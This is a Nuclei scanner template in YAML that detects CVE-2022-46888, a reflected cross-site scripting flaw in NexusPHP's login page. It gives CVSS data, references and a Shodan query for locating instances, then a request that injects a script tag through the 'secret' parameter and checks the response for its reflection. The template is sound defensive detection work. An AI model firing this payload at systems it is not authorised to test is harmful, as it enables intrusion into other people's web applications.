nuclei-templates/cves/2022/CVE-2022-46888.yaml

46 lines
1.2 KiB
YAML

id: CVE-2022-46888
info:
name: NexusPHP - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
NexusPHPbefore 1.7.33 allow remote attackers to inject arbitrary web script or HTML via the secret parameter in /login.php.
reference:
- https://www.surecloud.com/resources/blog/nexusphp-surecloud-security-review-identifies-authenticated-unauthenticated-vulnerabilities
- https://nvd.nist.gov/vuln/detail/CVE-2022-46888
- https://github.com/xiaomlove/nexusphp/releases/tag/v1.7.33
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-46888
cwe-id: CWE-79
metadata:
shodan-query: http.favicon.hash:-582931176
verified: "true"
tags: cve,cve2022,nexus,php,nexusphp,xss
requests:
- method: GET
path:
- '{{BaseURL}}/login.php?secret="><script>alert(document.domain)</script>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'value=""><script>alert(document.domain)</script>">'
- 'NexusPHP'
condition: and
case-insensitive: true
- type: word
part: header
words:
- text/html
- type: status
status:
- 200